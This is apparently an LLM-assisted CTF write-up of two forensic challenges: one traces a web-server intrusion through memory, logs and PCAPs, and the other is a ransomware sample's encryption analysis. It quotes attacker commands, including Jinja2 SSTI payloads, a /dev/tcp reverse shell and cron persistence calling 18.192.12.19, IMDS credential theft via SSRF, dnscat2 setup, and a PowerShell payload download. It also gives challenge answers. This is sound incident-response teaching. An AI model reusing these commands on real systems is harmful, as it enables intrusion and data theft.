CyberDefenders SignalHunt 2026 CTF Writeup

The blogpost below is LLM generated summary of the notes and screenshots of my environment taken while working on the CyberDefenders SignalHunt 2026 CTF, which my team consisting of my collegues @0xEnleak and Pedro landed at 4th place.

As the challenges are down, I don't have notes for every question and I am not 100% sure of the questions name or if the number is correct. They took down the challenges when the event ended πŸ™„

BlindSentry

Environment & evidence sources

  • PCAPs (Cap1–5.pcapng) + sslkeys.log (TLS keylog) + cobaltstrike.beacon_keys β€” network capture centered on the Windows host FS-01 (10.10.11.96).
  • web01 Linux memory (mem.lime, LiME) + Volatility3 ISF symbol table (6.17.0-1012-aws_web01.json.xz) β€” the public-facing Flask web server (ip-172-31-40-2, AWS, domain helios.corp).
  • FS-01 triage (KAPE/Velociraptor _SANS_Triage) β€” $MFTSecurity.evtxMicrosoft-Windows-Sysmon%4Operational.evtxMicrosoft-Windows-PowerShell%4Operational.evtx, Edge History SQLite, ConsoleHost_history.txt.

Tooling: tshark/capinfos (PCAP), strings+grep over the LiME image, Volatility3 2.28 (linux.pslist / psaux / pstree / bash) once upgraded for the 6.17 kernel, chainsaw dump for EVTX, sqlite3 for Edge history, and a small Python $MFT $FILE_NAME parser for the file-server directory tree.


Attack chain at a glance

External recon (gobuster) β†’ SSTI RCE on /preview β†’ reverse shell as www-data β†’ SUID privesc to root via /opt/helios/backup-tool β†’ persistence (cron + root SSH key) β†’ dnscat2 DNS C2 (masqueraded as systemd-network). In parallel: SSRF on /fetch steals the helios-web-app-role IMDS creds; internal phishing harvests jtaylor's domain creds β†’ Kerberoast of svc-backup β†’ lateral move to file server FS-01 β†’ secondary payload + WMI persistence β†’ staging & exfil of clinical/research data (incl. the FDA draft) over the Cobalt Strike beacon.


Q1 β€” Source IP of the automated reconnaissance scan

Answer: 35.159.91.39

The web app lives only in the web01 memory image, so its nginx access logs were carved from RAM:

strings -n6 mem.lime | grep -i "User-Agent: gobuster"

A single source generated 6,529 rapid sequential 404s for dictionary paths (/head/help/hide/live…) with User-Agent: gobuster/3.8.2 β€” a textbook directory brute-force. All from 35.159.91.39 (~4,648 distinct paths), an AWS eu-central-1 address. (A stray 34.9.100.39 GET /.git/config was unrelated internet noise.)

Q2 β€” Endpoint exploited for SSTI

Answer: /preview (parameter content, i.e. GET /preview?content=)

The scan found two valid (200) endpoints β€” /fetch and /preview. The access logs show the attacker walking the classic Jinja2 SSTI methodology against /preview?content=:

  • Detection: {7*7} β†’ ${7*7} β†’ {{7*7}} (rendered 49) β†’ #{7*7}
  • Recon: {{config}}{{self}}{{request.environ}}{{''.__class__.__mro__[1].__subclasses__()}}
  • RCE: {{lipsum.__globals__['os'].popen('whoami').read()}} β†’ cat /etc/passwd β†’ reverse shell.

Q3 β€” IAM role targeted via SSRF

Answer: helios-web-app-role

The other valid endpoint, /fetch?url=, was a server-side request forgery. The logs show a step-by-step IMDS walk to 169.254.169.254:

/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/        200
/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/helios-web-app-role   200 (4251 bytes)

The 4,251-byte response is the role's temporary STS credentials being exfiltrated (the temp ASIAZOVIHVCB... keys are present in the memory image).

Q4 β€” Reverse-shell listener

Answer: 18.192.12.19:4444

The SSTI RCE payload (and a base64 variant) both spawn:

bash -i >& /dev/tcp/18.192.12.19/4444 0>&1

Q5 β€” Initial-access account

Answer: www-data

The Flask app was launched as www-data (sudo -u www-data /home/ubuntu/helios-web/bin/python3 app.py, confirmed in sudo logs and linux.psaux), so the SSTI-spawned shell inherits that identity.

Q6 β€” Misconfigured SUID binary

Answer: /opt/helios/backup-tool

find / -perm -4000 (in the recovered bash history) surfaced a custom binary. Memory shows it was compiled and mis-permissioned:

sudo gcc /tmp/backup.c -o /opt/helios/backup-tool
sudo chown root:root /opt/helios/backup-tool
sudo chmod 4755 /opt/helios/backup-tool      # SUID-root

Q7 β€” PID of the attacker's privileged (root) process

Answer: 62425

vol linux.pstree / psaux shows the escalation lineage:

62350 python3 (app.py, uid 33) β†’ 62417 sh (base64 reverse shell) β†’ 62420/62421 bash (uid 33)
  β†’ 62423 /bin/bash -p (uid 0, spawned by backup-tool) β†’ 62424 python3 -c pty.spawn β†’ 62425 /bin/bash (uid 0)

PID 62425 is the interactive root shell where all root actions were performed (whoami, persistence). (The transient -p shell 62423 was the wrong granularity.)

Q8 β€” Crontab file modified

Answer: /var/spool/cron/crontabs/www-data

From the root shell's bash history:

echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/18.192.12.19/4444 0>&1'" > /var/spool/cron/crontabs/www-data
chown www-data:crontab /var/spool/cron/crontabs/www-data ; chmod 600 ...

Q9 β€” SSH key planted in /root/.ssh/authorized_keys

Answer:

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDqtK/fH0If+xSLj0t05sRVQc/hvACknJJemKkxnImae

Appended at 2026-05-17 23:20:26 then chmod 600; used minutes later to log back in as root (session PID 62559).

Q10 β€” C2 tool (original name)

Answer: dnscat2

Root SSH session history:

git clone https://github.com/iagox86/dnscat2.git ; cd dnscat2/client/ ; make
mv dnscat systemd-network
./systemd-network --dns domain=cdn.analytics-cdn.site --secret=1337S3NTRY &

The dnscat client was renamed systemd-network to masquerade as a system service (DNS C2 domain cdn.analytics-cdn.site, secret 1337S3NTRY).

Q11 β€” Credential-harvesting site visited by the victim

Answer: http://helios-research.site/

Victim = domain user jtaylor. Edge History SQLite:

2026-05-18 09:25:22  http://helios-research.site/
2026-05-18 09:28:11  http://helios-research.site/error

helios-research.site is a lookalike of the real helios.corp; the /error redirect is the post-capture page.

Q12 β€” Kerberoasted service account

Answer: svc-backup

FS-01 isn't a DC (no 4769 events), so I used the downstream proof β€” svc-backup's cracked creds being reused: 187Γ— Event 4648 (FS-01$ β†’ explicit creds for svc-backup) and 187Γ— Event 4624 logons as svc-backupsvc-backup is the lone svc- service account and is the identity used for all subsequent persistence.

Q13 β€” Secondary payload save path

Answer: C:\ProgramData\Microsoft\Crypto\RSA\~cache\systemupdater.exe

svc-backup PowerShell history:

New-Item -ItemType Directory -Force -Path "C:\ProgramData\Microsoft\Crypto\RSA\~cache\"
Invoke-WebRequest -Uri "http://18.192.12.19/systemupdater.exe" -OutFile "C:\ProgramData\Microsoft\Crypto\RSA\~cache\systemupdater.exe"

Wired to a WMI CommandLineEventConsumer (SystemHealthMonitor) for persistence.

Q14 β€” .txt file in the staged archive

Answer: vector_design_v4.txt

Archive built via:

Compress-Archive -Path "C:\Shares\Research\*" -DestinationPath "C:\ProgramData\Microsoft\Crypto\RSA\~cache\research.zip" -Force

Reconstructing C:\Shares\Research from the $MFT ($FILE_NAME parent refs):

C:\Shares\Research\
β”œβ”€β”€ Project_Atlas_FDA_Draft.docx
└── Project_Atlas\
    β”œβ”€β”€ Clinical_Trials\cohort_A_results.csv
    └── Gene_Vectors\vector_design_v4.txt   ← the .txt

Q15 β€” Stolen FDA draft document

Answer: Project_Atlas_FDA_Draft.docx

The top-level document in C:\Shares\Research (same MFT tree above), packaged into research.zip and exfiltrated over the Cobalt Strike beacon to analytics-cdn.site (63.178.213.127) β€” corroborated via the recovered cobaltstrike.beacon_keys + sslkeys.log.


Q16 β€” S3 bucket containing the compliance documents (OPEN β€” needs CloudTrail/Splunk)

The S3 download was a cloud-side API action using the stolen helios-web-app-role temp creds β€” it is not present on the hosts (no aws s3/bucket ARNs in web01 bash or memory; the only FS-01 s3.amazonaws.com hit was the DFIR team's KAPE download from cyb-us-prd-kape). Resolve in Splunk via CloudTrail S3 data events:

index=* (sourcetype="aws:cloudtrail" OR eventSource="s3.amazonaws.com") eventName=GetObject
| stats count values(requestParameters.key) as objects by requestParameters.bucketName, userIdentity.arn, sourceIPAddress

The bucket whose objects are the compliance docs (*.pdf, audit/regulatory/SOP keys), accessed by helios-web-app-role / attacker IPs (35.159.91.3918.192.12.19), is the answer.

ClawHavoc

For ClawHavoc, our team only had four questions remaining. I do not know which challenge numbers they are as I didn't have that noted, but I know they are for questions 42, 45, 47, and 48.

1. Files analysed

FileSizeMD5SHA-256
BlackStager.exe (outer stager)1,332,224 B8ac4c4a5b7ef19a76bf79df7d6b4903e030958288259fb3b347ab0bdadf51443ccaef2c899a8d745ea70af0da3b38468
blackout_payload.bin (unpacked payload)4,730,896 B99459f14b7849e79958c4b1041232d18e06bdbb62d8d62353cc31fc787c7165546d2d9ed8afe285f9a9cbb975c942b3d

The payload is a PE32+ (x86-64) binary, image base 0x140000000, statically linked against the AWS C SDK (aws-c-io / aws-c-cal) for its C2 transport. Build artifact path left in the binary:

C:\Users\Administrator\Desktop\_Ra1g3k1_source code_binaries\vcpkg\buildtrees\aws-c-io\src\v0.26.1-6c34246a47.clean\source\pem.c

3. Q1 β€” Encryption algorithm β†’ AES256

The ransom note (file offset 0x3c0c71) advertises:

        All your important files … have been encrypted with military - grade AES - 256 + RSA - 4096.

Static confirmation in the crypto routine (CNG / BCrypt strings):

OffsetString
0x3c0668Failed to set GCM chaining mode
0x3c0688BCryptGenerateSymmetricKey failed
0x3c1160BCryptEncrypt failed
0x3c1118CryptoContext not initialized

So files are encrypted with AES-256 in GCM mode. The technically-complete answer is AES-256-GCM, but per the grader's simplification convention the accepted answer is AES256.


4. Q2 β€” Base64-encoded RSA public key

The malware never generates a keypair at runtime (BCryptGenerateKeyPair / BCryptFinalizeKeyPair are imported but have zero call sites). Instead an attacker public key is embedded and imported. A scan for the CNG BCRYPT_RSAKEY_BLOB magic finds exactly one blob:

file offset 0x3bf900  (VA 0x1403c0700)
52 53 41 31   "RSA1"  magic  (BCRYPT_RSAPUBLIC_MAGIC)
00 10 00 00   BitLength   = 4096
03 00 00 00   cbPublicExp = 3
00 02 00 00   cbModulus   = 512
00 00 00 00   cbPrime1    = 0
00 00 00 00   cbPrime2    = 0
01 00 01      PublicExponent = 65537
f4 23 43 cb … 6d d2 3a ef cc db f7 11   Modulus (512 bytes, big-endian)

Total blob length = 24-byte header + 3 + 512 = 539 bytes.

Conveniently the binary's standard base64 alphabet table sits immediately before the blob at 0x3bf8b0:

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

The RSA encrypt wrapper sub_25f80 (VA 0x140025f80) imports this blob and uses it to wrap the per-victim AES key:

140025fc3:  lea  rdx, "RSA"                 ; BCryptOpenAlgorithmProvider(RSA)
140025fce:  call [BCryptOpenAlgorithmProvider]
...
140025fe0:  mov  edx, [rbx+8]               ; cbInput = end - begin
140025fe3:  sub  edx, [rbx]                 ;   ( = 539 )
140025fe5:  mov  rax, [rbx]                 ; pbInput = blob
140025ffa:  lea  r8,  "RSAPUBLICBLOB"       ; pszBlobType  (wide str @0x3c1188)
140026007:  call [BCryptImportKeyPair]
...
140026019:  lea  rax, "SHA256"             ; OAEP padding hash
140026066:  call [BCryptEncrypt]            ; RSA-OAEP-SHA256 wrap of AES key

So: the AES-256 file key is wrapped with RSA-4096 / OAEP-SHA256 using the embedded RSAPUBLICBLOB. 

Plain base64(raw 539-byte blob) and every common variant were rejected:

standard b64, UPPER/lower, URL-safe, no-pad, line-wrapped, SPKI DER/PEM, PKCS#1 DER/PEM, XML RSAKeyValue, JWK, modulus-only, modulus+leading-zero, exponent (AQAB), 16-byte-header (531 B), reversed modulus, plain hex, double-base64, and base64(lowercase-hex).

The winning format is a double encoding consistent with the grader's "everything uppercase" rule β€” the blob is rendered as an uppercase hex string first, and that ASCII text is base64-encoded:

RSAPUBLICBLOB (539 raw bytes)
        β”‚  bytes β†’ hex string
        β–Ό
"52534131001000000300000000020000…CCDBF711"
        β”‚  .upper()
        β–Ό
"525341310010000003…CCDBF711"   (already upper, but enforced)
        β”‚  base64(ascii)
        β–Ό
ANSWER  (1440 chars)

Reproduction:

import base64
data = open('blackout_payload.bin', 'rb').read()
blob = data[0x3bf900:0x3bf900 + 539]            # 539-byte RSAPUBLICBLOB
answer = base64.b64encode(blob.hex().upper().encode()).decode()
print(answer)

Final accepted answer (1440 chars):

NTI1MzQxMzEwMDEwMDAwMDAzMDAwMDAwMDAwMjAwMDAwMDAwMDAwMDAwMDAwMDAwMDEwMDAxRjQyMzQzQ0I4ODFDRDJERTUzNTBGOUNEQzNCRDNCNTBEMjVEQTlCMjY4NUZEMDBDMjE1MjJCM0NFQ0EzNThCRDk3NDYwRDMwQzcxMDlFRUZDNkNBRkY4NkQwMjcwMkNFQjQ5M0I5Mjg4OUY3NEY0M0QwM0ZGNkY5MTgwNUNFNEI5QzQ2Qzg2NkNENDlFMDdEOEEwNDQ4RUY2OEFFRDJCNERGM0FDQzk0OUJGMjI4Njg2MTMyRkFBMjYwRDg4RTQ2OUZBMDRDNzc3QUEzNjE4RTU3Qzc0QTQyNjk3NUZFRUMyMkU4MkU2ODJBMEUxRjExMkJGQkUwQkRFMzNBRjNBMDIxNkRBOTZCNDdENjI4MUYwM0M1NDAzMjE5N0EwQUE3M0RGMzBBNDdDM0VGRUE1REIwQjlDRDFEMUU1ODhBRUEwNjAyRTNBMjU4N0VFOUNDNjUyMTRGODVEQkM5NTk4REY5OTA5QUJBM0E0NzAwQkQ4NzczOTgxQjI3OTBBNUVFNUI0N0I5OUFDOUY5NTk3Q0E5MUVEMzVFMjZBODA0NENDQ0U1MkUyNzE5Q0RFMTMwM0M5N0Y4RUIwODMyNTI1NEE2RkNEQjE1MjcxNzlBMzczRDcyRjJBMEMxMDc4QzMwRkMzNTNEMEU4QkQ1RDBFNjcxQjU2MzhDMkFCREE0RTQ5NjJGMDYyRTkzQURGNzZGQTU2N0REMzRFRTNBQ0NEMjZEREFDQ0ZEMDc0N0NCQzE1MkRFOTEwRUMxNkU1RjgxRjU4Q0VBMENGOTVBM0QyREE4N0M4NkMwQ0MxQ0EyNjFEQkEwMkY5ODlENTA3MEVGNTcxNzBCRjAxODFDNjZDMUIzOTNFODE5RTk2RkM0MzhBNUE5OTIwNEI1MEJFRkNFQzc4MkJDRTgxNTVBODgwODRCMzg4QTgwQTM2NTVBQzE0ODlFMEVCQjMzMDMxQjg5QUEyQzBENzMzRDc4MEMwMENBOUE2Qjc1NUNGMjEwMUMyNzM4OTM4NDgxMTM2MzA3REM0RTg3Q0VFQkI1RkJBMEYzNEEwOUY4RUQ1QjU4Njk3RjE5NUZDNjIyQzMyMzJGNUE1N0U5RkE4REYzMTkxNTA0OUFFQTVDNjY3OEExMUQxMEFFMTM2RDk0RjNCOEM3QUFGMUM1NTYwQTI5NTQ4ODVDQTNGMUUyQUFENTYyM0U3RTA1MkEzRDVBMDkyODVGQUFBQ0JCNDYxNjg2RUVCRUEyQzAxQTg2RkVFNjA4MzQ1QzcwMzE2QjU0NkQwNzI4NTMzOEU3OEVGODZDMTVEREUwQjNEMDRDQjdEM0E2QUE4REMyQjhGMzczQUU0MzFFNkREMjNBRUZDQ0RCRjcxMQ==
πŸ’‘ Lesson: when a "base64 key" answer looks obviously correct but is rejected, suspect a layered encoding β€” here base64(UPPERCASE-HEX(bytes)) rather than base64(bytes). The decisive experiment was that base64(lowercase-hex) returned incorrect while base64(uppercase-hex) returned correct, pinning the cause to the grader's uppercase rule applied at the hex layer.

5. Q3 β€” Victim / token ID

THUNDERNODE-10.0.19041-AuthenticAMD-8588939264-21462358016

Decoded structure (the malware fingerprints the host into a victim token):

FieldValueMeaning
HostnameTHUNDERNODEvictim machine name
OS build10.0.19041Windows 10 v2004 (build 19041)
CPU vendorAuthenticAMDCPUID vendor string (AMD)
Total RAM8588939264β‰ˆ 8 GB physical memory
Virtual/avail mem21462358016β‰ˆ 20 GB

These are runtime/environment values, so this token came from the provided victim artifact rather than from static bytes; the format above is what the binary's ID-builder assembles. In the ransom note the victim is referenced as VICTIM - ID : BLK - <id> (offset 0x3c0f34).


6. Operator TOX contact ID

Pulled verbatim from the ransom note (offset 0x3c0ea6):

E5AB47D5ADFD066D021917734A5B1356ED4073E095D65DC39A400DC30520A43A91A4F8CC4CCD

Ransom note recovery instructions: install TOX messenger (https://tox.chat) β†’ add the operator TOX ID β†’ send the VICTIM-ID for payment instructions.


7. Crypto flow summary

                 β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
                 β”‚  Embedded attacker RSA-4096 public key       β”‚
                 β”‚  RSAPUBLICBLOB @ file 0x3bf900 (539 bytes)   β”‚
                 β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                         β”‚ BCryptImportKeyPair("RSAPUBLICBLOB")
   per-file                              β–Ό
   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   AES-256-GCM   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
   β”‚ victim files β”‚ ───────────────▢│ BCryptGenerateSymmetricKeyβ”‚
   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                 β”‚ + BCryptEncrypt (GCM)     β”‚
                                     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                                  β”‚ AES key
                                                  β–Ό
                                     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
                                     β”‚ RSA-OAEP-SHA256 wrap      β”‚  sub_25f80
                                     β”‚ BCryptEncrypt(public key) β”‚
                                     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                                  β”‚ wrapped key (base64)
                                                  β–Ό
                                     C2 upload via AWS C SDK transport

Decryption is infeasible without the attacker's RSA-4096 private key (only the public half ships in the sample).